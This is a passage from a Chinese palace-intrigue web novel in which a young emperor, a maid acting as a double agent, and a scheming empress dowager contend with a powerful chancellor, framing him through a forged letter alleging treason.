徐妙晴不禁鄙夷的看向徐妍,到底是年纪小不经事,这种蠢话都能说得出来! “太后娘娘难道忘了吗?”徐妍急切的上前一步:“除了各地方军权以外,还有一支队伍可供太后娘娘所用。” 徐妙晴愣了愣,随即忽然明白了徐妍的意思。 她说的是从大齐皇室祖上就留下来的那一支禁军部队。 与寻常皇室的禁军不同,这里禁军并不驻守于皇城之中,而是遍布于四方各处。 处处寻不见他们,可他们又无处不在。 传闻这支部队,那是从全国各地的军队中挑选出来的精锐。 其武力,甚至可以以一敌百。 说难听些,若有人想要谋反,得到这支禁军部队,那可是比得到其他任何一个军队都要更加有胜算。 但且不说连身份最尊贵的皇帝,平时都很难见这些禁军一面。便是这一支部队,平时也只听令于兵虎符,而不听令于某个人。 也就是说,若手里没有这枚虎符,别说皇帝,便是天王老子来了,也无法调动差遣他们。 而这枚虎符,早在当时徐妙晴被送进宫里的时候,就只剩下半块了。 是那老皇帝亲手所毁的,半块留在了宫中,余下半块托付给了他的心腹,带出了宫去。 其实就连徐敬意也一直在追寻那半块虎符的下落,但是却迟迟没有消息。 剩下的那半块,就交给了徐妙晴保管。 不过半块无用的虎符对于徐妙晴来说和废铁没有什么区别。 再加之那个时候,徐家已经控制了大部分的军队,所以徐妙晴便并没有放在心上,随手便收在了匣子里。 而这会儿听到徐妍所说,徐妙晴也忍不住动了心思。 纵然徐敬意手握大权又能如何? 若要真和这只禁军部队硬碰硬,他未必能有胜算。 如此一来,自己这边形势岂不是更方便一些? 不过思虑再三过后,徐妙晴又忍不住发出了一声冷嘲。 “话说的倒是轻松,可连徐敬意都找不到的虎符,你觉得哀家能够找到?” “找不到也无妨。”徐妍急切的说道。 “听闻虎符被毁一事,徐敬意并未声张,私底下也是悄悄寻找。既如此,我们为何不能复刻一块完整的虎符?” 徐妙晴噗嗤一声笑了出来,可笑了一会儿之后,脸色却骤然冷了下来。 “徐妍,人再蠢也该有个限度。那虎符本就是独一无二的,就算是真有能工巧匠可以复刻,可你以为那些禁军认不出来吗?” 就更别提,他们连这些禁军在哪儿都不知道! 哪怕是拿到了真正的虎符。可又如何能调令他们呢? 但徐妍对于这件事却有不同的看法。 她上前一步,苦口婆心的劝说道。 “既然手握虎符就代表着执掌大全那张虎符到底是真是假,又有什么分别?” 说着,徐妍压低了声音,上前一步,又补充道。 “况且这虎符本来就不是一日两日能够拿到手的,太后不如趁着这段时间养精蓄锐。虽然军队已经被控制,但世间并非再没有武力高强之人了呀。” 徐妙晴心中猛然一震,片刻后,她的心脏开始狂跳起来。 是啊,兵虎服除了能调动那支禁军部队以外,同样也是代表着大权在握。 甚至在大旗的传统习俗,手握虎符之人哪怕不是皇帝,也可凌驾于皇帝之上。 从前徐妙晴不懂这狗屁理论究竟从何而来,但是今日她却如此庆幸这理论的存在。 只要她拿到一块完整的虎符,别管是真是假,从某种意义上来讲都能认定她才是这个国家的真正掌权。 另外,按照徐妍的意思,在外豢养私兵,到时候也可将其称作为进军部队。 反正徐敬意寻找虎符的事儿也没有大肆宣扬,届时分辨起来是真是假,谁又能说得清楚呢? 只怕是徐敬意浑身上下都长满嘴巴也无暇反驳吧? “好,你倒是真有几分脑子,是哀家小看你了。”徐妙晴抚掌大笑。 “既如此,那这件事哀家便托付给你了。” 徐妍身子一颤,连连推脱。 “太后娘,娘奴婢也只是想到了此处,才说与您听。但是奴婢实在是没有那么大的本事,帮您去找到那能复刻虎符的工匠啊!” 徐妙晴却忽然不怀好意的一笑,走上前替徐妍整理了一下有些凌乱的衣襟。 “妍儿,你如此聪慧,又是哀家亲眷,这种事你怎么可能会办不到?而哀家又能托付与谁呢?” 徐妍咬着嘴唇,仍旧有些犹豫。 “可是奴婢……” “没有什么好可是的。”徐妙晴忽然变了脸色。 “你既然想让哀家救你,那就得替哀家做事,否则哀家留你在身边有何用?” 徐妙晴身子狠狠地瑟缩了一下,连忙躬身接下了这个任务。 “奴婢悉听太后娘娘安排。” 徐妍一路匆匆的回到了乾清宫,进门之时,那郑遂还像个没事人一样,吃完了冰葡萄就吃西瓜。 总归是那些大齐稀缺的水果,他都要尝个遍。 就好像没吃过饭一样。 徐妍愣在门口,忍不住心想,有的时候也有人要造反。 毕竟郑遂生活如此奢靡,底下的庶民百姓却是在各大世家门阀的竞争之下过得生不如死。 哪怕徐妍知道郑遂如今这样子都是装出来,可装的逼真,也是本事。 第19章 和你,朕绝不用药 别人不恨他,又要恨谁呢? 郑遂恰好也在此时悠悠抬起头来看向徐妍。 露出个意味深长的笑容,对着她招了招手。 “过来。” 徐妍小心翼翼的走了过去,郑遂用银叉插起一颗葡萄,递到徐妍嘴边。 颇为暧昧的说道:“你这一趟辛苦了,这盘葡萄是西域贡品。朕都留给你。” 徐妍说不清楚心里是什么滋味。 明知郑遂油嘴滑舌,这讨女人喜欢的功夫也不知道用在过多少人的身上。 但瞧着郑遂清俊面容上挂着一抹漫不经心的笑,葡萄外皮上的水珠顺着他的指尖留下。徐妍心中就蓦然一动。 理智让徐妍往后微微退了一步:“陛下厚爱,奴婢不敢承受。” “有什么不敢承受的?”郑遂拉过徐妍,环着她的腰,让她与自己一同坐在龙椅之上。 再一次把葡萄递到她嘴边:“尝尝吧,甜的。” 徐妍退无可退,只得轻轻咬住了葡萄。 郑遂看着她微微抬起眼皮,用如同含着一望秋水的眸子看着自己,突然就感觉,抛开利用来讲,这女人也挺勾人的。 郑遂抬起手,拿开徐妍被吞下的那半颗葡萄,自己吃了下去。 徐妍瞪大眼睛看着他,紧张的吞咽了一下口水。 郑遂还染着水渍的手指落在徐妍的耳垂上,轻轻的揉搓着,惹的徐妍一阵脸红。 随后才悠悠问:“如何?” “都是按照您的意思说的,她虽然不曾全然相信我,但瞧着也是心动了。” 郑遂挑了挑眉,指尖刮过徐妍的脸颊。 “估计代价也不小吧。” 徐妍紧张地绞着自己的手指:“她叫我,给您下药。” “呵……” 郑遂轻笑一声,有点意思。 随即勾起徐妍的下巴,细致的打量着她白皙姣好的面容。 语气意味深长的道:“这男人啊,用药可是耻辱。” 他忽然勾起徐妍的膝弯,把她打横抱了起来。 徐妍惊呼一声,连忙勾住郑遂的脖子。 郑遂轻笑一声,凑近徐妍的耳边。 “和你在一块,朕绝不用药。” 言罢,便大步流星地抱着徐妍走向寝殿。 郑遂健步如飞,抱着徐妍穿过重重帷幕。 檀香的气息愈发浓郁,徐妍只觉得心跳如鼓。 郑遂的手臂坚实有力,隔着薄薄的衣料传来炙热的温度,他喷洒在耳际的灼热呼吸更像是一种无形的灼烧,让她浑身酥软又警铃大作。 徐妍下意识地往后退缩,指尖紧紧抓住身下冰凉滑腻的缎面。 郑遂俯视着她,嘴角那抹惯有的、带着轻佻意味的笑意收敛了,只余下审视与一丝不易察觉的掠夺性。 “害怕?”郑遂的声音低沉下来。 又不是第一次…… 徐妍咬着下唇,摇摇头,又飞快地点点头。 郑遂低笑一声,单膝压在榻边,俯身逼近。 徐妍在云层间摇晃时缓缓迷了心智,再也无法自拔…… —— 徐妙晴斜倚在贵妃榻上,手中把玩着那半块冰冷的青铜虎符。 一名黑衣暗卫悄无声息地跪在她面前的地毯上。 “启禀太后娘娘。”暗卫声音低沉,“乾清宫那边……徐妍姑娘自昨日申时回到乾清宫后,便被皇上留宿于寝殿。直至三更鼓响,方得片刻歇息。而后……直至天明,内殿动静不绝?皇上兴致极高,极为宠爱徐妍姑娘。” 徐妙晴手中把玩虎符的动作骤然停住,指甲几乎嵌进温润的青铜里。 她有些错愕。 这郑遂竟这般好精力,能日夜不休地缠绵。 “呵……”一声极轻的嗤笑从徐妙晴的唇角溢出。 “宠幸?”她缓缓抬起眼,凤眸中寒光凛冽。 “哀家昨日瞧她那副样子,还以为她受了天大的委屈,哀家瞧着,她倒是挺享受的。” 也罢,能掏空小皇帝的身子便好。 只要她别先被玩死了。 “你去传徐妍即刻来见哀家。就说……哀家念她昨日‘辛苦’,特赏她些补身的‘好东西’。” 不过一盏茶的功夫,徐妍便被带了进来。她显然特意整理过仪容,换上了一身干净的宫装,发髻也重新梳过,戴了一朵素雅的珠花,试图掩去通宵达旦的疲惫。 然而微微红肿的唇瓣,眼下淡淡的青痕,尤其是那眉梢眼角尚未完全褪去的、被彻底滋润过的春情媚意,在徐妙晴如刀的目光审视下,纤毫毕现,无所遁形。 徐妍刚踏入殿内,感受到徐妙晴如刀般锐利的目光,心中顿时一紧。 她强作镇定,福身行礼:“太后娘娘万安,不知娘娘唤奴婢前来,所为何事?” 徐妙晴并未立刻答话,只是冷冷地打量着徐妍。 良久,才缓缓开口:“瞧你这模样,皇上昨晚倒是着实‘疼爱’你。” 徐妍脸颊微微一红,低下头去:“娘娘说笑了,皇上……皇上对奴婢确实恩宠有加。” “哼,恩宠有加?”徐妙晴将手中的半块虎符重重一放,“你可别忘了,你是为何接近皇上。若只是贪图这一时的宠爱,而忘了自己的本分,哀家可不会轻饶。” 徐妍心中一颤,赶忙跪下:“娘娘息怒,奴婢不敢。奴婢时刻铭记娘娘的吩咐,定当竭尽全力完成任务。” 徐妙晴微微颔首,目光再次落在徐妍身上:“那便好。你昨日说的复刻虎符之事,可有眉目了?” 徐妍咬了咬嘴唇,面露难色:“娘娘,此事颇为棘手。那虎符乃皇室重宝,制作工艺精湛复杂,要找到能复刻的工匠谈何容易。再者,即便找到工匠,也需耗费大量的时间和财力,且风险极大,一旦走漏风声……” “住口!”徐妙晴不耐烦地打断她,“哀家不想听你说这些困难,哀家只要结果。你既已应下此事,就必须给哀家办妥。若办不成,你该知道后果。” 徐妍心中一阵苦涩,却又不敢反驳,只得硬着头皮道:“是,娘娘。奴婢定当全力以赴,只是还望娘娘能多给些时日。” 徐妙晴冷冷地看着她:“时日?哀家可没有太多时日等你。你最好尽快想办法,否则……” 她没有再说下去,但那威胁的意味却不言而喻。 徐妍心中暗暗叫苦,却也只能连连称是。 “起来吧。”徐妙晴摆了摆手,“这是哀家赏你的,好好补补身子。” 第20章 徐家不内乱,她不踏实 那包包装精巧的药被送到了徐妍的面前,刚刚捧在手心里,徐妍就闻到这包裹里头传来一股奇异的香味。 不必多说,徐妍也知道这里头装着的是什么。 抬头看向徐妙晴,便见对方意味深长的望着自己。 “这药用的时候,可要注意点分寸。”徐妙晴说道。 他目光悠悠,望向远方。 过了许久,才近乎叹息般的又补充了一句。 “毕竟是药三分毒,即便是补药,用错了剂量,也可是会要人命的。” 徐妍心里咯噔一下,躬身领命,悄然退了出去。 那份药完好无损的出现在了郑遂的桌上。 “你这般不当心,难道就不害怕她发现?”郑遂搂着徐妍,目光慵懒的扫过那包药。 “连尚宫局都不回去,就堂而皇之的带过来,你是真不怕死。” 郑遂轻轻捏了一下徐妍的鼻子。 徐妍稍稍往后躲了躲,语气颇有些怪异的道:“奴婢日日陪伴陛下,若是此时回到了尚宫局,还更会引人怀疑。” 郑遂笑看向徐妍,只见她脸上浮现出了两坨绯红。 却假意没有看见,轻声道:“怪聪明的,想来太后那边,应当是信了吧。” “半信半疑。”徐妍说道。 “总归得让她看到效果,她才会真正的相信。” 郑遂目光幽深,又扫了那份药一眼。 随后忽然轻轻的笑了起来:“你都如此说了,那朕,倒是想试一试这药了。” 徐妍的脸色更红了,接着就被郑遂紧紧的搂入了怀中。 一连几日,徐妙晴那边的探子汇报的消息都是郑遂与徐妍夜夜笙歌,如失了智一般,比起从前更没了分寸。 且郑遂的状态明显与以往不同了,就连上朝之时,也被朝臣们看出了他身上由内而外散发出的疲倦。 那些个“保皇党”们,已经开始怀疑了。 大家都是过来人,谁还能看不出郑遂如此疲惫是因何而起? 虽然不知那后宫之中的女人是谁,不过很显然在他们眼中,这人便是不折不扣的祸水。 劝谏的折子越来越多,郑遂也不瞒着,直接都拿给了徐妍看。 “你如今可谓是成为了众矢之的呢,与眼中钉肉中刺相比,也是没什么区别了。” 徐妍定定的看向郑遂沉默了片刻,忽然道。 “而这不也是陛下想要看到的吗?况且只要陛下不说是谁,便是他们心中已有思量,也是没有证据。” 郑遂忍不住抚掌大笑,随后手轻轻的落在了徐妍的头顶。 “朕瞧着你如今的样子,倒是想开了不少。” 徐妍微微咬住了嘴唇。 她若是不想开,可还有别的法子吗? 除非去死。 也是亲眼见着那些这事越来越多,徐妍才知道,郑遂是醉翁之意不在酒。 他真正的目的,何止是迷惑徐妙晴那么简单,更是进一步的将自己控制在了鼓掌之中。 她若想活,那就只能和郑遂紧紧的捆在一条线上。 徐妍算是知道自己无法逃脱,便也干脆任命。 只要能博一条生路,到哪里都是可以的。 不过徐妙晴那边确实急了。 朝中到底是有个徐敬意,而徐妍作为尚宫,却在郑遂身边贴身伺候的事,徐敬意也知道。 若是这传言继续闹下去,只怕徐敬意很快就要怀疑到徐妍的头上了。 然后下一个就是自己。 于是赶紧传了徐妍过去,告诉她要减轻药量,过了这段时候再说。 “她竟也知道害怕。”郑遂冷哼,“看样子,这徐家内乱若是再也不挑起来,她第一个就坐不住了。” “陛下现在应该更为自己担心。”徐妍说道。 纵然郑遂对外可以不说与自己夜夜笙歌之人是谁,但于徐敬意而言,终究是瞒得了一时,瞒不了一世。 徐妍既知道自己的身家性命都被郑遂拿捏在了手心里,自然更知道只有郑遂出手,自己才能保全。 “就这么着急?” 郑遂大掌抚上徐妍的发丝,笑得一脸玩世不恭。 徐妍藏在袖子里的手微微捏紧成了拳头。 与郑遂默默对视着,谁都没有先开口。 过了许久,郑遂忽然笑开了,轻轻的捏上徐妍的脸。 “既如此,那朕成全你。” 他从锦匣内拿出了一封早就写好的信,颇具挑逗意味地塞进了徐妍胸前的衣裳里。 “把这信拿给了姓江的老贼,他知道该怎么做。” ……… 自打上次被徐敬意约谈了一番之后,江如松心里头就一直慌的不得了。 上次见面徐敬意虽然明面上什么都没说,但是话里话外却尽是试探的意思。 其实经历了早朝上那一番,不管江如松解释什么都已经不要紧了。 面对着徐敬意的试探,他也只能做做表面功夫。 至此之后,私下的场合徐敬意面对江如松这个老友时的态度,就变得颇为“暧昧不清”了。 江家自己也有探子,打听出了些消息。 说是徐敬意那头最近在忙着整顿兵马,要前去对抗秦王那个反贼呢。 不过私底下,除了把持军政大权以外,他手下那些私兵也是蠢蠢欲动。 徐敬意的大儿子,更是随着他频频出入各种场合。 听说私底下,与几位重要朝臣及世家的公子哥也十分交好。 这就是明晃晃的拉帮结派,嘴上不说,也是把江如松从同盟中给踢了出去了。 如今江如松的处境就十分尴尬了。 论权,他不及徐敬意。 但若是真的投靠了那狗皇帝,心里头又觉得不甘。 尤其是郑遂迟迟没有新的消息到他这儿,江如松就更不明白郑遂到底是何打算了。 偏巧这会儿家里头的人也不省心,江如松刚刚下朝回来,走进内院,就听见小湖边传来江塘嘻嘻哈哈的声音。 那副不正经的样子,江如松都不需要亲眼目睹,就知道他肯定又是勾搭上了哪家佳丽。 江如松气不打一处来,背手大步走了去。 果真见湖边的凉亭内,江塘正搂着一背影曼妙的女子,一脸讨好的笑容,往人家的嘴边儿递糕饼。 江如松气的险些晕过去。 他怎么就生了个这么蠢的! 第21章 只是举手之劳 “江塘!”江如松怒吼一声。 江塘吓的身子一抖,手当即就从那女子的腰上撤了下来。 人颤的像个筛子一样,对着姜如松露出个要哭不哭,要笑不笑的表情。 “爹,您今儿个怎么这么早就回来了……” 江如松直接撸起袖子:“你老子要是不这么早回来,还不知道当初那顿打没让你长记性呢!” 没有趁手的东西,江如松就顺手从旁边的柳树上折下一根柳枝,朝着江塘便气势汹汹的走了过去。 江塘吓得嗷的一声跳了起来,撒腿就跑。 “爹爹爹!我知道错了!” “错了也没用!今天不把你打到万朵桃花开,你就不知道花儿为什么这样红!” 江塘被江如松抽的惨叫连连,心里后悔死了为什么家里哪里都能呆,偏偏要待在这一眼就能看到的凉亭里。 甚至连个躲避的地方都没有。 最后江塘被逼的没了办法,竟直接躲在了那女子身后。 江如松只觉得自己脑中的最后一丝理智,也被他这不成器的儿子给搞没了,当下脸色变得通红,胸腔里一股火在烧着。 这狗儿子是恨不得自己当场暴毙吧! 竟躲在个女人身后,成何体统? “你给我出来!”江如松怒呵道。 江塘吓的越发往那女子的身后躲去,连根头发丝都不敢露出来。 可都已经这样了,倒还剩了个嘴硬。 “爹,你一直嫌弃我在外头胡搞,可我这次带回来的可是个良家女子!我已经想好了,我要和她过一辈子!为什么你就是不满意呢?” 江如松险些晕过去,转头目光不善的朝那女子望去。 他倒是要看看,是哪门的“闺秀”,能把江塘给迷的神魂颠倒。 可定睛一看,江如松直接就愣住了。 随后倒吸一口凉气,白眼都翻了起来,身子直愣愣的朝后倒了过去。 江塘到底也害怕他老爹真的被自己气死,赶忙跳出来,扶住了江如松。 “爹!爹,您没事吧?” “孽障……”江如松缓过神来,咬牙切齿。 ”我怎么就生了你这么个孽障?” 说着,手中的柳条毫不犹豫的朝着江塘再次抽了过去。 那女子终于站起身来,轻声劝阻道:“江大人不必动怒,有话好说。” 江如松转头看向那女子,手再次一颤,柳条也落了地。 愣了片刻后,江如松猛的转头,朝着江塘踹了一脚。 “滚回自己屋里去!” 江塘还有些不甘,口中嚷嚷着:“爹,您怎么这么霸道?连一个弱女子都要为难吗!” “我让你滚回去。”江如松气地咬紧了后槽牙,“你要是再不回去,我便请家法了。” 江塘顿时连个屁都不敢放了。 转头有些担忧的望了那女子一眼,可终究爱莫能助,只能在心中祈祷她自求多福,之后毫不犹豫的就跑了。 江如松这才转过头去,望向那女子。 语气极差的问道:“不会是你?” “江大人又不是头一次与我见面,为何会如此惊讶?”女子微微一笑。 江如松腿一软,直接瘫坐在了石凳上。 这面前的女子并非别人,正是那徐妍。 难怪江塘口口声声说这回找了个正经人家的,可不“正经”吗! 说不定他把徐妍带回来的时候,心里还美滋滋的想着,自己和与江家交好的徐家女儿有了发展,还能帮上自己老爹呢。 “你来干什么?”江如松终于缓过了神来,目光不善的看向徐妍。 徐妍上前一步:“陛下看重江大人,自然是要给江大人建功立业的机会。” 江如松冷哼一声:“我没有那么高的心气,只求能平平安安的过完此生。” 先别说什么大富大贵的了,如今这种情况,用谁要是出了事,自己也得连带着跟着倒霉。 就算是不能完全拒绝郑遂,可好歹也得能躲就躲吧。 要不然和把头拴在裤腰带上有什么区别? “江大人过于自谦了。”徐妍淡淡一笑,将手中的一封信轻轻放在桌上。 “对于江大人而言,这不过是举手之劳,却能换来陛下的青眼,和江大人曾经跟着许大人时梦寐以求却得不到的东西,何乐而不为呢?” 江如松满腹疑惑。 当真就这么简单? 他可不敢相信郑遂会这么好心,他不坑自己就不错了。 江如松丝毫都没有接过那封信的意思,徐妍便走过去,轻轻将信塞进了江如松的手中。 “江大人看过了这封信再做决定吧,想来,江大人一定会满意的。”徐妍意味深长的一笑。 最后又补充了一句:“你家公子,对我倒是颇有好感。虽京城中,人尽皆知,江家的公子是个不折不扣的纨绔。且不说被江公子认定的那些不娶回家便后悔一辈子的姑娘,便是红颜知己也不知道有多少个了。” 徐妍淡淡一笑,忽地凑近江如松的耳边,对他低声说了些什么。 江如松瞪大了眼睛,气的声音都在颤抖。 “你你你……你敢威胁我?” “这怎么能算是威胁呢?”徐妍漫不经心的道路,“重点是,如果大伯那边知道我私底下来见过您,您才大伯那边会怎么想?” 江如松连反驳的话都说不出来了。 怎么想?当然是直接怀疑到小皇帝的头上。 以他的心机,一旦露出了一点口子,他又怎会探查不到郑遂的野心。 到底他现在对自己也是怀疑,不敢真的做什么。 真的一旦涉及到他心心念念的皇位,江如松前脚出门,后脚脑袋就得被人割了当球踢。 纵然徐妍这番威胁让江如松心里已经气得发颤,但却也不得不顺应他们的意思。 便打开了那封信看了一眼,随即心头一震,猛地看向徐妍。 徐妍淡然一笑:“我说了,对于江大人而言,只是举手之劳。” 徐妍走了,江如松独自坐在凉亭里,沉默了许久,将手里的那封信翻来覆去的看了许多遍之后,江如松猛地站起了身来。 他带着几个小厮气势汹汹的闯进了江塘的屋子,二话不说,就让人将他这蠢儿子给捆了起来。 第22章 参奏丞相通敌叛国 甚至都不需要掌刑的小厮动手,江如松自己就结结实实的抽了他儿子一顿。 “我让你在外头胡乱勾搭!” “我让你什么人都敢往家里拉!” “看我不打死你!” 江塘被打的嗷嗷乱叫,涕泪横流。 在皮开肉绽之前,江如松终于抽完了最后一遍。 冷冷警告:“今天你带着女子回府的事,不许与任何人讲!” 江塘生怕再招来一顿毒打,哪里还敢再说半个不字。 抱头痛哭着道:“我知道了!我知道了!” 江如松冷哼一声,将手中的鞭子甩在地上,大步流星的离开了。 秦王那边的动作很快,没几日的功夫,就攻破了数座城池。 还是一路沿着离京城最近的路打过来的,眼见着事态继续发展下去,就当真要逼近皇宫了。 而捷报也在此时传来。 大齐官兵与秦王的兵马与羊城交手,很快便将秦王逼退至羊城境外。 秦王虽未撤兵,但首战告捷,消息传回来的时候,京城上下都是一派的喜气洋洋。 藩王而已,就算是老皇帝破例给了他们兵权,终究不成气候。 在其中调兵遣将的徐敬意,更是连脊梁骨都忍不住又挺直了几分。 上朝之时,亦是人人恭贺,简直把徐敬意哄得飘飘然。 瞧着面前金光灿灿的龙椅,徐敬意面上满是得意。 他正愁拿谁开刀呢,谁叫秦王一头就撞起来了。 只要击退秦王,当众杀之,其余饭王谁还敢造次? 至于那皇帝,更是不必放在眼里。 届时百姓们只会拥戴真正为民造福之人,至于那个庸庸碌碌,且沉溺于酒色的皇帝,便只能落得个千古骂名了。 郑遂终于姗姗来迟,见到徐敬意,面上便堆满了笑意。 “徐爱卿。” “臣在。”徐敬意躬身跪地,一副极为恭敬的姿态。 郑遂不禁在心中冷哼,他倒是怪会惺惺作态的。 这朝中之人,有几个不知道徐敬意心怀不轨。 既如此,还有什么可装腔作势的? 吐槽了一番过后,郑遂便亲自上前,搀扶起了徐敬意:“徐爱卿不必如此拘礼,如今能够击退叛贼,都是徐爱卿的功劳,你是朕的大恩人啊。” 徐敬意姿态极为谦卑:“臣哪里能当得起陛下的夸赞?臣也不过就是派遣了军队过去镇压,若非陛下英明,臣即便调兵遣将也无法击退叛军的。” 他这话说的恭敬至极,但看向郑遂的目光中却充满挑衅。 是言外之意,分明是在说就算是你出的这个主意,真正的军权却在我手里。 我要是不同意,你就等着秦王找上门来吧。 众人神色各异,与徐敬意一派的自然是纷纷附和,一边夸赞陛下英明,一边又夸赞徐敬意出手果决。 而亲近皇室的一派则是一脸鄙夷,只是如今人家占了上风,严重倒也不好说什么。 忽然,谏院刺史站了出来。 “陛下,臣有本参奏。” 郑遂有些不耐烦的望过去:“有什么话非要在现在说?” 谏院刺史扑通一声跪倒在地:“陛下,臣要参丞相与北蛮交往过甚,有通敌叛国之嫌。” 谏院刺史的声音如一把滚烫的利刃,猛地劈开金銮殿内虚伪的祥和。 无数道惊骇的目光直直射向跪在大殿中央的谏院刺史,随即便又看向方才还得意无比的徐敬意。 郑遂脸色沉了下来,是现在大殿内众朝臣的身上扫了一圈。 在众人屏息凝神,都是大气,也不敢喘的时候,郑遂背手缓缓走回龙椅便坐下。 目光沉沉看向谏院刺史:“事关丞相,无凭无据,可知是何等罪过?” 谏院刺史面色严肃,一字字的道:“臣并非无凭!就在羊城之战告捷后不久,毗邻的襄城截获了一封来自于北蛮左翼军统帅府中来往文书,那上头便有丞相私印!” 大殿内一片死寂。 片刻后,无数倒抽冷气的声音响起。 御史中丞郭谦目眦欲裂,猛地上前一步。 “你、你竟敢血口喷人!做个丞相清誉!” 随后猛的跪地:“陛下,丞相为国劳心,鞠躬尽瘁!定是那秦王余孽故意构陷!其心可诛!其心可诛啊!” 郑遂歪头看向郭谦。 很好,又揪出来了一个徐敬意的党徒。 徐敬意在短暂的惊讶过后梦到了郭谦的出头,唇角极快地勾了一下。 “陛下!”徐敬意跪地。 微微抬起了头,目光平静无波地看向稳坐于高位的郑遂。 “谏院刺史此言不真,微臣从来没有与北蛮有过联系,而且如今的证据只有他的一面之词,微臣请陛下圣断。” 谏院刺史猛的抬起头,更像徐敬意。 随后从怀中掏出一封信来,双手高高抬起。 “丞相既说这是一面之词,那这封信呢?这是襄城官兵亲自截获的,请陛下过目!” 王喜上前将物证接了过来,恭敬递于郑遂面前。 郑遂扫了一眼,脸色忽的一沉,灼灼的目光落在了徐敬意的身上。 刚才还淡然如斯的徐敬意心头蓦然一惊,下意识的便要站起身来。 而后感受到众人投在自己身上的视线,徐敬意才恍然想起这是在朝堂之上,明日自己再怎么放肆,朝堂之上也不得不做做样子。 更何况他才刚刚被那谏院刺史告发。 “陛下……”徐敬意道。 “此事,朕很难做定断。”郑遂故作为难的开口。 随后示意王喜将那封信送于徐敬意的手中。 徐敬意低头一看,见果真是来自于北蛮的信,甚至那上头还真的有自己的私章。 徐敬意人都傻了。 “这东西是从何而来!” 就算是在迟钝的人,这会儿都能反应过来自己是被算计了,就更别提徐敬意。 刚刚立了功,便闹出了这样一桩事。 虽然真被认定了自己与北蛮有交集,以郑遂的胆量也不敢动他分毫。 但终归会受流言所扰,影响到大计。 徐敬意的第一反应,就是想要毁坏证物。 可于动手之前,心中却忽然犹豫了一分。 他现在还没有完全的把握可以坐上皇位,若此时动手的确可解眼下燃眉之急,但之后呢? 第23章 宁愿一头撞死 “罢了。”郑遂忽然大手一挥。 “不过区区一封信而已,证明不了什么,朕相信丞相。” 此言一出,所有人的视线都落在了郑遂的身上。 无论是哪门哪派,这会儿看着郑遂的眼神都变得意味深长了起来。 他怕是日日沉溺于犬马声色,搞得脑子都坏掉了吧? 这徐敬意是何人物,朝堂之中人人有数。 便是亲近于徐敬意的那一派,此刻也是忍不住震惊的瞪大了眼睛。 他可是意图逼宫谋反,对皇位蠢蠢欲动的乱臣贼子啊!!! 知道小皇帝窝囊,却不想如此窝囊。 一时间就连保皇派也是无言以对,甚至已经有人忍不住生出了想要即刻离开的意思。 谏院刺史更是情绪激动无比,把头上的官帽一摘,厉声道:“陛下,臣的参照句句属实!若陛下不信,臣宁愿一头撞死在这大殿之上,也绝不与此等小人同流合污!” 言罢,便立刻以头抢地,对郑遂行了个大礼之后,立刻爬起身来,猛冲向大殿上的石柱。 然而他并未成功,半途就被王喜给拦了下来。 “行了,当着朝堂是什么地方?文臣死谏?搞什么名堂!”郑遂大手一挥,极为不满地瞪了谏院刺史一眼。 “要死就滚出去死,别在这里丢人现眼!朕今天就放话在这儿了,丞相乃是我大齐赫赫有名的功臣,谁要是再敢对丞相指手画脚,别怪朕不客气!” 随后郑遂直接转身离开,只留下满大殿的文臣武将,你看我我看你,谁也说不出话来。 可徐敬意跪在地上,冷汗确实滚滚滑落。 不管小皇帝是因何原因在朝堂之上,当着众位大臣的面维护了自己,可终究他的话是没有力度的。 谏院刺史拿出来的那封信,的的确确是盖了丞相府的私章。 就连徐敬意自己看了,都吓了一跳。 因为就连私章上缺的一角,都在那封信上印的清清楚楚! 在这样的情况下,也不说那些原本就看自己不顺眼的保皇派会更以此为把柄,想要讨伐他,就说那些亲近自己的,凡是曾经与他私交过甚,进入过他的书房的,都看过那枚私章。 谏院刺史在众目睽睽之下把那封信拿出来,自己这一派的帮手都有可能会因此生疑。 那他的处境可就…… 徐敬意脸色铁青,捏紧拳头站起身来转身就走。 他一离开,大殿之内的其他朝臣也纷纷离去。 可所有人却都是不约而同的三五成群聚在一起,悄声议论着今日发生之事。 保皇党们自不必说,只怕早就要把徐家的祖坟都给骂穿了。 而徐敬意这一派与他交好的人,心里头却都是泛起了嘀咕。 “你们说,这谏院刺史参奏丞相与北蛮私交过密,这事到底是不是真的呀?” “我也说不好,但我这心里头总是七上八下。” 有人忍不住冷哼了一声:“丞相如今势力庞大,若是能再加上北蛮的帮助,那岂不是更如日中天?” 众人听了这话之后皆是沉默了,互相对视一眼,心里头有千言万语想说,可是到了嘴边,却是怎么都说不出口。 最后只能无奈散去。 果真如徐敬意的预料,朝堂之上郑遂虽极力证明他的清白,朝堂之外,此事却闹得物亦如废。 这些日子以来,亲近自己的人往来之时也颇为谨慎。 甚至走在街头巷尾,还能听到有民间百姓在敲声议论。 徐敬意知道了这些之后,已是气的五脏六腑都要碎了。 此时已是内忧外患,徐敬意忽然就有点明白当初郑遂的感觉了。 但越是如此,徐敬意就越是恨郑遂。 偏偏他是正统,偏偏无法一举拿下他! 徐敬意越想越气,直接杀去了皇宫之中。 到的时候,郑遂竟还在惬意的逗鸟。 见徐敬意风风火火的进来,郑遂热情的迎了上去。 “丞相来的正好,你看,朕得了个新鲜玩意?” 关在笼子里的,是一只毛色雪白的鹦鹉。 郑遂说是南境那边培养出来的新鲜玩意儿,能学会的人语比寻常鹦鹉要多上许多。 “这小东西可聪明了,朕不过是教了几回,就学会了不少话。” 郑遂兴致匆匆地拉着丞相到了鸟笼旁,对那鹦鹉说道:“阿福,快说丞相吉祥。” 鹦鹉绿豆大的小眼儿滴溜溜的转着,歪着小脑袋,学着郑遂的腔调道:“丞相吉祥!丞相吉祥!” 若放在往常,郑遂这种近乎于恭维的行为,徐敬意会非常受用。 甚至心情好时,说话的态度也能恭敬不少。 可是今日,徐敬意实在是没那个心情。 他面色阴沉的站在鸟笼之前,心中无限的纠结。 脸色变了又变,沉默许久之后,他终于眼一闭心一横。 干脆豁出去,扑通一声跪在地上,高呼:“陛下,微臣冤枉!” “你冤枉什么呀?”郑遂震惊的看着徐敬意,猛地往后退了一步。 虽说他这话的本意是问徐敬意为何会说这话,可也不知道是不是徐敬意心情不佳的缘故,竟总觉得郑遂的话中颇有一些阴阳怪气的意味。 只是此时并非是与郑遂计较这些的时候,徐敬意只能忍下心中的屈辱,和对郑遂的鄙夷。 语气悲壮,一副恨不得以死自证的态度说道:“陛下,微臣真的冤枉,微臣真的从来没有与北蛮私相往来!” 郑遂当然知道。 因为那所谓的,可以证明徐敬意通敌叛国的信,就是郑遂让那江老贼私下联合了李继业,伪造出来的。 